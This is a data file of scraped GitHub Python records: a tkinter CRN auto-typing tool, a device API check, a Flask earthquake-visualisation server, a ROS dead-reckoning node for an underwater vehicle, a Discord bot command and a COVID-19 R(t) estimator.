{"api_name": "funman.api.api.settings.data_path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings", "line_number": 57, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 84, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 85, "usage_type": "call"}, {"api_name": "fastapi.testclient.TestClient", "line_number": 88, "usage_type": "call"}, {"api_name": "funman.api.api.app", "line_number": 88, "usage_type": "argument"}, {"api_name": "funman.server.query.FunmanWorkUnit.model_validate", "line_number": 102, "usage_type": "call"}, {"api_name": "funman.server.query.FunmanWorkUnit", "line_number": 102, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 103, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 116, "usage_type": "call"}, {"api_name": "funman.server.query.FunmanResults.model_validate", "line_number": 126, "usage_type": "call"}, {"api_name": "funman.server.query.FunmanResults", "line_number": 126, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 127, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 152, "usage_type": "call"}]} +{"seq_id": "28202893093", "text": "from tkinter import *\nimport webbrowser\nfrom pynput.keyboard import Key, Listener, Controller\n\n\nclass App:\n def __init__(self, master):\n\n self.master = master\n self.CRNs = []\n self.keyboard = None\n self.listener_initialized = False\n master.title(\"CRN Automatic Paster\")\n\n # Validation\n vcmd = (self.master.register(self.validate), '%S')\n self.v = False # self.v = IntVar()\n\n label_greeting = Label(master, text=\"CRN Automatic Paster\")\n\n self.e1 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e2 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e3 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e4 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e5 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e6 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e7 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e8 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e9 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n self.e10 = Entry(master, width=10, validate=\"key\", validatecommand=vcmd)\n\n C = Checkbutton(master, text=\"Press Submit after pasting\", command=self.cb) # variable=self.v\n button_done = Button(master, text=\"Done\", command=self.done_pressed)\n\n label_greeting.grid(row=0, column=0, columnspan=10, pady=10)\n\n self.e1.grid(row=1, column=0, sticky=W, padx=7)\n self.e2.grid(row=1, column=1, sticky=W, padx=7)\n self.e3.grid(row=1, column=2, sticky=W, padx=7)\n self.e4.grid(row=1, column=3, sticky=W, padx=7)\n self.e5.grid(row=1, column=4, sticky=W, padx=7)\n self.e6.grid(row=2, column=0, sticky=W, padx=7, pady=10)\n self.e7.grid(row=2, column=1, sticky=W, padx=7)\n self.e8.grid(row=2, column=2, sticky=W, padx=7)\n self.e9.grid(row=2, column=3, sticky=W, padx=7)\n self.e10.grid(row=2, column=4, sticky=W, padx=7)\n\n C.grid(row=3, column=0, columnspan=2)\n button_done.grid(row=3, column=3, columnspan=2, sticky=W + E, pady=5, padx=3)\n\n self.generate_menu_bar()\n\n def done_pressed(self):\n self.CRNs = [\n self.e1.get(), self.e2.get(), self.e3.get(), self.e4.get(), self.e5.get(),\n self.e6.get(), self.e7.get(), self.e8.get(), self.e9.get(), self.e10.get()\n ]\n\n if not self.listener_initialized:\n self.keyboard = Controller()\n\n listener = Listener(on_release=self.on_release, on_press=None)\n listener.start()\n\n self.listener_initialized = True\n\n def generate_menu_bar(self):\n menu = Menu(self.master)\n self.master.config(menu=menu)\n helpmenu = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"Help\", menu=helpmenu)\n\n helpmenu.add_command(label=\"How to use\", command=self.guide)\n helpmenu.add_command(label=\"Try it out!\", command=self.demo)\n helpmenu.add_command(label=\"About...\", command=self.about)\n\n def guide(self):\n guide_window = Toplevel()\n\n v = \"1. Copy-Paste or manually input your required CRNs into the program's entry boxes.\\n(Keep in mind the \" \\\n \"CRN must not contain any spaces or characters, else they won't be accepted into the entry box)\\n2. Press \" \\\n \"the 'Done' Button\\n3. Open BSS, highlight/press the FIRST entry box in BSS\\n4. Press Shift (Either the \" \\\n \"left or the right one, both work) \"\n\n guide_text = Label(guide_window, text=v, justify=LEFT)\n guide_text.pack()\n\n def demo(self):\n url = \"demo.html\"\n webbrowser.open(url, new=2)\n\n def about(self):\n about_window = Toplevel()\n\n v = \"Made by Shady Fanous\\nshady-fanous@aucegypt.edu\\nSource code at \" \\\n \"https://github.com/ShadyF/CRN_Paster\\nthis tab needs to be redone \"\n\n about_text = Label(about_window, text=v, justify=LEFT)\n about_text.pack()\n\n def iterate(self):\n for CRN in self.CRNs:\n if CRN:\n self.keyboard.type(CRN)\n self.keyboard.press(Key.tab)\n self.keyboard.release(Key.tab)\n\n # If Press enter after pasting checkbox is marked\n if self.v:\n self.keyboard.press(Key.enter)\n self.keyboard.release(Key.enter)\n\n @staticmethod\n def validate(s):\n return s.isdigit()\n\n def on_release(self, key):\n if key == Key.shift:\n self.iterate()\n\n def cb(self):\n self.v = not self.v\n\n\nroot = Tk()\napp = App(root)\n# root.iconbitmap('@clip.ico')\nroot.mainloop()\n", "repo_name": "ShadyF/CRN_Paster", "sub_path": "paster.py", "file_name": "paster.py", "file_ext": "py", "file_size_in_byte": 4761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pynput.keyboard.Controller", "line_number": 60, "usage_type": "call"}, {"api_name": "pynput.keyboard.Listener", "line_number": 62, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 90, "usage_type": "call"}, {"api_name": "pynput.keyboard.Key.tab", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 105, "usage_type": "name"}, {"api_name": "pynput.keyboard.Key.tab", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 106, "usage_type": "name"}, {"api_name": "pynput.keyboard.Key.enter", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 110, "usage_type": "name"}, {"api_name": "pynput.keyboard.Key.enter", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 111, "usage_type": "name"}, {"api_name": "pynput.keyboard.Key.shift", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 118, "usage_type": "name"}]} +{"seq_id": "6671694628", "text": "import json,requests\n\nurl = 'http://192.168.0.2:10080/api/v1/system/version'\nres = requests.get(url, auth=('api', 'api'))\n\nif res.status_code == 200:\n print('connection ok')\n data = res.json()\n print(json.dumps(data, indent=2))\n\nelse:\n print('connection error')", "repo_name": "taijiji/SmartCS_API", "sub_path": "system-version.py", "file_name": "system-version.py", "file_ext": "py", "file_size_in_byte": 273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.get", "line_number": 4, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "41860071404", "text": "#!/usr/local/bin/python3\nfrom flask import Flask, render_template, request\nfrom flask_bootstrap import Bootstrap\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\n\napp = Flask(__name__)\nBASE_DIR = os.path.abspath(os.path.dirname(__file__))\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + \\\n os.path.join(BASE_DIR, 'log.sqlite')\nBootstrap(app)\ndb = SQLAlchemy(app)\n\n# disable debug when deloying\napp.debug = True\n\ncwd = os.getcwd()\n\npath_to_eqs = cwd+'/static/data/earthquakes'\neq_dirs = os.listdir(path_to_eqs)\neqs = {}\nfilenames = [\n \"1_ShearNormalized.txt\", \"2_MomentNormalized.txt\",\n \"3_DiaphForceNormalized.txt\", \"4_DiaAcc_dividedby_PGA.txt\",\n \"5_DriftRatio.txt\", \"6_InterstoryDriftRatio.txt\"\n]\nfor d in eq_dirs:\n if d[0] == '.':\n pass\n else:\n l = []\n sub = os.listdir(\"/\".join([path_to_eqs, d]))\n eqs[d[9:]] = {}\n for subitem in sub:\n if subitem[0] == \".\":\n pass\n if os.path.isdir(\"/\".join([path_to_eqs, d, subitem])):\n sim = []\n e = os.listdir(\"/\".join([path_to_eqs, d, subitem]))\n for f in filenames:\n if f in e:\n l.append(True)\n else:\n l.append(False)\n eqs[d[9:]][subitem[10:]] = l\n\n\n@app.route('/vis')\ndef index():\n return app.send_static_file('index.html')\n\n\n@app.route('/nano-vis')\ndef nano():\n return app.send_static_file('nano.html')\n\n\n@app.route('/')\ndef earthquakes():\n from form import NewSimulationDataForm\n newForm = NewSimulationDataForm(csrf_enabled=False)\n return render_template('earthquakes.html', eqs=eqs,\n files=filenames, newSimForm=newForm)\n\n\n@app.route('/')\ndef static_proxy(path):\n # send static_file will guess the correct MIME type\n return app.send_static_file(path)\n\n\nclass Log(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n sim = db.Column(db.Integer)\n tStart = db.Column(db.Integer)\n tEnd = db.Column(db.Integer)\n fStart = db.Column(db.Integer)\n fEnd = db.Column(db.Integer)\n nanoTime = db.Column(db.Float)\n jsTime = db.Column(db.Float)\n\n def __init__(self, sim, tStart, tEnd, fStart, fEnd, nanoTime, jsTime):\n self.sim = sim\n self.tStart = tStart\n self.tEnd = tEnd\n self.fStart = fStart\n self.fEnd = fEnd\n self.nanoTime = nanoTime\n self.jsTime = jsTime\n\n def __repr__(self):\n return '' % self.id\n\n\n@app.route('/log', methods=['GET', 'POST'])\ndef log():\n if request.method == 'POST':\n sim = request.form['sim']\n print(sim)\n tStart = request.form['timeStart']\n print(tStart)\n tEnd = request.form['timeEnd']\n print(tEnd)\n fStart = request.form['floorStart']\n print(fStart)\n fEnd = request.form['floorEnd']\n print(fEnd)\n nanoTime = request.form['nanoTime']\n print(nanoTime)\n jsTime = request.form['jsTime']\n print(jsTime)\n log = Log(sim, tStart, tEnd, fStart, fEnd, nanoTime, jsTime)\n db.session.add(log)\n db.session.commit()\n return str(log.id)\n else:\n logs = Log.query.all()\n return render_template('log.html', logs=logs)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=10101)\n", "repo_name": "hdc-arizona/earthquake-vis", "sub_path": "server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 3377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask_bootstrap.Bootstrap", "line_number": 11, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 17, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 39, "usage_type": "call"}, {"api_name": "form.NewSimulationDataForm", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 97, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 100, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 102, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 102, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 110, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 110, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}]} +{"seq_id": "27647814228", "text": "#! /usr/bin/env python\n# \"\"\"\n# ROS Wrapper\n# \"\"\"\n\n\"\"\" Import libraries \"\"\"\nimport sys\nimport numpy as np\nfrom numpy import array, zeros, reshape, matmul, eye, sqrt, cos, sin\nfrom transformations import quaternion_from_euler, euler_from_quaternion\n\nfrom deadReckon import DeadReckon\nfrom commons import Rot\nimport rospy\nfrom nav_msgs.msg import Odometry\nfrom sensor_msgs.msg import Imu\nfrom uuv_sensor_ros_plugins_msgs.msg import DVL\nfrom auv_estimator.msg import State, Covariance, Inputs, Estimator\n\nclass DeadReckonRosNode:\n\tdef __init__(self):\n\t\t\"\"\" ROS Parameters \"\"\"\n\t\t# Grab topics \n\t\tsub_dvl = rospy.get_param(\"~dvlTopic\") \n\t\tsub_imu = rospy.get_param(\"~imuTopic\")\n\t\t# Decide which frame to use (ENU or NED)\n\t\tself.useEnu = rospy.get_param(\"~useEnu\") # set to 1 to use ENU frame, set to 0 to NED\n\t\t# DVL parameters\n\t\tself.sen_dvl_offsetX = rospy.get_param(\"~dvl_offsetX\") # offset relative from the sensor to vehicle center of mass in x-direction\n\t\tself.sen_dvl_offsetY = rospy.get_param(\"~dvl_offsetY\") # offset relative from the sensor to vehicle center of mass in y-direction\n\t\tself.sen_dvl_offsetZ = rospy.get_param(\"~dvl_offsetZ\") # offset relative from the sensor to vehicle center of mass in z-direction\n\n\t\t\"\"\" DR driver wrapper \"\"\"\n\t\tself.uuvDr = DeadReckon(self.useEnu)\n\t\tself.dvl_update = 0\n\n\t\t\"\"\" Setup publishers/subscribers \"\"\"\n\t\t# Subscribers\n\t\tself.sub_dvl = rospy.Subscriber(sub_dvl, DVL, self.DvlCallback) \n\t\tself.sub_imu = rospy.Subscriber(sub_imu, Imu, self.ImuCallback) \n\t\t# Publishers\n\t\tself.pub_dr_pose = rospy.Publisher('/dr/pose', Estimator, queue_size=1000) \n\n\t\t\"\"\" Instantiate DR variables \"\"\"\n\t\tself.imu_quat = zeros(shape=(4,1))\n\t\tself.mapLinPos = zeros(shape=(3,1))\n\t\tself.mapLinVel = zeros(shape=(3,1))\n\t\tself.mapAngVel = zeros(shape=(3,1))\n\t\tself.startTime = rospy.Time.now() # Start 1st ROS timer\n\n\t\"\"\" Raw sensor measurements \"\"\"\n\tdef DvlCallback(self, msg):\n\t\tself.dvl_update = 1\n\t\t# Instantiate dvl variables\n\t\tcurrTime = rospy.Time.now() # Start 2nd ROS clock\n\t\tdt = (currTime - self.startTime).to_sec() # time step [s]\n\n\t\t# Setup robot velocity array\n\t\tdvl_rbtLinVel = array([[msg.velocity.x],\n\t\t\t\t\t\t\t[msg.velocity.y],\n\t\t\t\t\t\t\t[msg.velocity.z]])\n\t\t# Setup dvl offset array\n\t\tdvl_offset = array([[self.sen_dvl_offsetX], \n\t\t\t\t\t\t\t[self.sen_dvl_offsetY], \n\t\t\t\t\t\t\t[self.sen_dvl_offsetZ]])\n\n\t\t# Initialize DR \n\t\tself.uuvDr.DvlCallback(dvl_rbtLinVel, dvl_offset, dt)\n\t\tself.DeadReckoning()\n\n\t\t# Update time\n\t\tself.startTime = currTime\n\t\tself.dvl_update = 0\n\n\tdef ImuCallback(self, msg):\n\t\t# Setup robot angular velocity array\n\t\timu_rbtAngVel = np.array([[msg.angular_velocity.x],\n\t\t\t\t\t\t\t\t[msg.angular_velocity.y],\n\t\t\t\t\t\t\t\t[msg.angular_velocity.z]]) \n\t\t# Setup map orientation array\n\t\tself.imu_quat = np.array([msg.orientation.x, msg.orientation.y, msg.orientation.z, msg.orientation.w])\n\t\teuler = euler_from_quaternion(self.imu_quat) # Convert IMU data from quarternion to euler\n\t\tunwrapEuler = np.unwrap(euler) # unwrap euler angles\n\t\tself.imu_mapEulAng = np.array([[unwrapEuler[0]],\n\t\t\t\t\t\t\t\t[unwrapEuler[1]],\n\t\t\t\t\t\t\t\t[unwrapEuler[2]]]) # imu angular position array \n\t\t### NOTES: Incoming IMU data is in rotation matrix form ###\n\t\timu_mapAngPos = Rot(self.imu_mapEulAng[0], self.imu_mapEulAng[1], self.imu_mapEulAng[2])\n\n\t\t# Initialize DR \n\t\tself.uuvDr.ImuCallback(imu_rbtAngVel, imu_mapAngPos, self.imu_mapEulAng)\n\t\tself.DeadReckoning()\n\n\t\"\"\" Run DeadReckoning \"\"\" \n\tdef DeadReckoning(self):\n\t\tif self.dvl_update == 1:\n\t\t\t# Get estimator state\n\t\t\tself.mapLinPos, self.mapLinVel, self.mapAngVel = self.uuvDr.OutputDr()\n\n\t\t\t# Publish ROS messages \n\t\t\tself.PubDr() # publish estimator messages\n\n\t\"\"\" Publish \"\"\"\n\tdef PubDr(self):\n\t\t# Publish dead reckoning state message\n\t\tdr_msg = Estimator()\n\t\tdr_msg.header.stamp = rospy.Time.now()\n\t\tdr_msg.header.frame_id = \"world\"\n\t\tdr_msg.state.x = self.mapLinPos[0] # x\n\t\tdr_msg.state.y = self.mapLinPos[1] # y\n\t\tdr_msg.state.z = self.mapLinPos[2] # z\n\t\tdr_msg.state.roll = np.rad2deg(self.imu_mapEulAng[0]) # roll\n\t\tdr_msg.state.pitch = np.rad2deg(self.imu_mapEulAng[1]) # pitch\n\t\tdr_msg.state.yaw = np.rad2deg(self.imu_mapEulAng[2]) # yaw\n\t\tdr_msg.state.vx = self.mapLinVel[0] # dx\n\t\tdr_msg.state.vy = self.mapLinVel[1] # dy\n\t\tdr_msg.state.vz = self.mapLinVel[2] # dz\n\t\tself.pub_dr_pose.publish(dr_msg) # publish estimator state message\n\n\t\t# dr_msg = Odometry()\n\t\t# dr_msg.header.frame_id = \"world\"\n\t\t# dr_msg.header.stamp = rospy.Time.now()\n\t\t# dr_msg.child_frame_id = '/dr/link'\n\t\t# dr_msg.pose.pose.position.x = self.mapLinPos[0]\n\t\t# dr_msg.pose.pose.position.y = self.mapLinPos[1]\n\t\t# dr_msg.pose.pose.position.z = self.mapLinPos[2]\n\t\t# dr_msg.twist.twist.linear.x = self.mapLinVel[0]\n\t\t# dr_msg.twist.twist.linear.y = self.mapLinVel[1]\n\t\t# dr_msg.twist.twist.linear.z = self.mapLinVel[2]\n\t\t# dr_msg.twist.twist.angular.x = self.mapAngVel[0]\n\t\t# dr_msg.twist.twist.angular.y = self.mapAngVel[1]\n\t\t# dr_msg.twist.twist.angular.z = self.mapAngVel[2]\n\t\t# dr_msg.pose.pose.orientation.x = self.imu_quat[0]\n\t\t# dr_msg.pose.pose.orientation.y = self.imu_quat[1]\n\t\t# dr_msg.pose.pose.orientation.z = self.imu_quat[2]\n\t\t# dr_msg.pose.pose.orientation.w = self.imu_quat[3]\n\t\t# self.pub_dr_pose.publish(dr_msg)\n\ndef main(args):\n\trospy.init_node('DeadReckon', anonymous=True)\n\trospy.loginfo(\"Starting deadReckonRosNode.py\")\n\tdr = DeadReckonRosNode()\n\n\ttry:\n\t\trospy.spin()\n\texcept KeyboardInterrupt:\n\t\tprint(\"Shutting down\")\n\t\tcv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main(sys.argv)", "repo_name": "alliWong/AuvEstimator", "sub_path": "src/StateEstimator/deadReckonRosNode.py", "file_name": "deadReckonRosNode.py", "file_ext": "py", "file_size_in_byte": 5469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rospy.get_param", "line_number": 24, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 25, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 27, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 29, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 30, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 31, "usage_type": "call"}, {"api_name": "deadReckon.DeadReckon", "line_number": 34, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 39, "usage_type": "call"}, {"api_name": "uuv_sensor_ros_plugins_msgs.msg.DVL", "line_number": 39, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 40, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Imu", "line_number": 40, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 42, "usage_type": "call"}, {"api_name": "auv_estimator.msg.Estimator", "line_number": 42, "usage_type": "argument"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 49, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 49, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 55, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "transformations.euler_from_quaternion", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.unwrap", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "commons.Rot", "line_number": 88, "usage_type": "call"}, {"api_name": "auv_estimator.msg.Estimator", "line_number": 106, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 107, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.rad2deg", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.rad2deg", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.rad2deg", "line_number": 114, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 140, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 141, "usage_type": "call"}, {"api_name": "rospy.spin", "line_number": 145, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 151, "usage_type": "attribute"}]} +{"seq_id": "17831253775", "text": "import discord\r\nfrom discord.ext import commands\r\nimport random\r\n########### IMPORT CONFIGS ##############\r\nimport config\r\nfrom config import *\r\nbot = commands.Bot(command_prefix= prefix, intents=discord.Intents.all(), help_command=None)\r\nTHEME_COLOUR = discord.Colour.random()\r\nEVENTS_COLOR = discord.Colour.random()\r\nINFO_COLOR = discord.Colour.blurple()\r\nMOD_COLOR = discord.Colour.blurple()\r\nERROR_COLOUR = discord.Colour.red()\r\n@bot.command()\r\nasync def number(ctx):\r\n\tembed = discord.Embed(title=\"Number Random Generator :\" , description=f\"\"\"\r\nNumber Has Been Generated !\r\nNumber Is : `{int(random.randint(0 , 10))}` \"\"\" , colour= EVENTS_COLOR)\r\n\tawait ctx.reply (embed=embed)", "repo_name": "Jock3r99/Discord-Bot", "sub_path": "events/numbers.py", "file_name": "numbers.py", "file_ext": "py", "file_size_in_byte": 683, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 7, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 7, "usage_type": "name"}, {"api_name": "discord.Intents.all", "line_number": 7, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.Colour.random", "line_number": 8, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 8, "usage_type": "attribute"}, {"api_name": "discord.Colour.random", "line_number": 9, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 9, "usage_type": "attribute"}, {"api_name": "discord.Colour.blurple", "line_number": 10, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 10, "usage_type": "attribute"}, {"api_name": "discord.Colour.blurple", "line_number": 11, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 11, "usage_type": "attribute"}, {"api_name": "discord.Colour.red", "line_number": 12, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 12, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 15, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "70398861404", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 8 19:29:13 2020\n\n@author: David Billingsley\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport scipy.special as sc\nimport scipy.stats as st\nimport matplotlib.pyplot as plt\n\nrdf = pd.read_csv('us_covid_data_latest.csv', dtype={'fips':str})\n\nrdf = rdf.drop(['deaths'], axis = 1)\n\nincidence = pd.pivot_table(rdf, values='cases', index = 'date', aggfunc=np.sum)\n\n#gets the difference with the previous row.\nincidence['actual_inc'] = incidence['cases'].diff()\n\n\nincidence = incidence.rename(columns = {'cases':'cumulative_inc'})\nincidence = incidence.replace(np.NaN, 1.0)\nincidence.index = pd.to_datetime(incidence.index)\n\npoisson = np.random.poisson\n\n#discretized gamma function\n#see Chakarborty 2012\ndef gamma_discrete(k, theta, x):\n \n return sc.gammaincc(k, x/theta) - sc.gammaincc(k, ((x+1)/theta))\n\ndef plot_gamma_discrete(k, theta):\n x = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]\n y = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]\n \n for i in range(len(x)):\n y[i] = gamma_discrete(k, theta, x[i])\n \n \n plt.bar(x,y, align = 'edge', label = 'discrete')\n \n \n gamma_x = np.linspace(0, 12, 100)\n gamma_y = (1/sc.gamma(k)) * (1/theta**k) * np.power(gamma_x, (k-1)) * np.exp(-1 * np.divide(gamma_x, theta))\n\n \n plt.plot(gamma_x, gamma_y, color= 'red', label = 'continuous')\n plt.legend()\n plt.title('Gamma Distribution, k = ' + str(k) + ', θ = ' + str(theta))\n plt.xticks(np.arange(0,12))\n plt.xlabel('Generation Interval (days)')\n plt.ylabel('Probability')\n \nk = 6.14\ntheta = 0.719\n\n#now to integrate over the column up to a certain date.\n\n#creating a column delta representing the difference in days since\n#2020-01-21...makes it simpler to perform the integration calculation\nincidence = incidence.reset_index()\nincidence = incidence.reset_index()\nincidence = incidence.rename(columns = {'index':'delta'})\n\n#gets the incidence up to a specific date\ndef prior_incidence(date):\n \n return incidence.loc[incidence['date'] <= date]\n\n#this gives you the denominator in the renewal equation\n#called moment_int because it is a moment integral\ndef moment_int(prior):\n \n #working backwards over the days, from the last date in prior, and generate \n #probabilities that the generating time is equal to that time difference\n #i.e., in the renewal equation start at day i, and go from j = 0 to j = i\n #calculating probability that generating time is i-j..., then assign that\n #probablility to the i-jth row\n probabilities = prior['delta'].apply(lambda x: gamma_discrete(k, theta, prior.shape[0]-x))\n \n #multiply those probabilities by the prior incidence on day j...\n products = probabilities * prior['actual_inc']\n \n #...then add up and return the sum\n return products.sum()\n\nincidence['mom_ints'] = incidence['date'].apply(lambda x: moment_int(prior_incidence(x)))\n\nincidence['R_t']= incidence['actual_inc']/incidence['mom_ints']\n\n \ninc_dropzero = incidence[incidence['R_t'] != 0] \n\n#We'll take a moving average over 11 days. Let's say we enact a change to policy\n#on day i. Since mean generation time is mean 4.41 with stdev 3.17, then we can say 95% confidence that the incidence \n#after 4.41 + 2*3.17 = 10.75 days, none of the new cases will be have arisen before\n#we enacted the policy on day i. I.e., you are taking average, but only as far back as there could have been direct transmission.\n#since you know that any cases on day i did not come directly from someone who was infected\n#before day i-11. So this gives you a sense of whether your policy changes are having an effect or not.\ninc_dropzero['R_t_mov_ave'] = inc_dropzero['R_t'].rolling(window = 11, center = True).mean()\n\n#Plot\nytix = np.linspace(0, 5, 21)\ninc_dropzero.plot(x='date', y='R_t_mov_ave', title = '11-Day Moving Average of Lower Bound on R(t)', grid = True, yticks = ytix, fontsize=8) \n\n\n#bootstrap to get confidence interval\n\nsim_r_t = incidence['actual_inc'].apply(lambda x: poisson(x, 10000))\nsims = np.divide(sim_r_t, incidence['mom_ints'])\nuppers = sims.apply(lambda x: np.percentile(x, 95))\nlowers = sims.apply(lambda x: np.percentile(x, 5))\n\nincidence['upper 95% CI'] = uppers\nincidence['lower 95% CI'] = lowers\n\ntail = 11\n\n\nplt.figure()\n\nax = incidence[incidence['actual_inc'] != 0].tail(tail).plot(x='date', y=['R_t', 'upper 95% CI', 'lower 95% CI'], color = ['b', '#808080', '#808080'])\n\n\n\nprint(incidence.tail(1))\n\n#notes/thoughts : Poisson error in some way accounts for undercounting. Proprotional to the incidence. \n#if undercounting rate is the same across some period, then it doesn't make a difference to the calculation\n#if undercounting is higher in the past, as it probably was, then our earlier R estimates will tend to overestimate. I\n#If undercounting has decreased more or less monotically, then the earlier the estimate, the greater the overestimating. \n#this is what we'd hope because those early R estimates are really outrageous.\n#next step might be to get an estimate for undercounting and apply that. \n", "repo_name": "dcb2124/estimate_r", "sub_path": "estimate_r.py", "file_name": "estimate_r.py", "file_ext": "py", 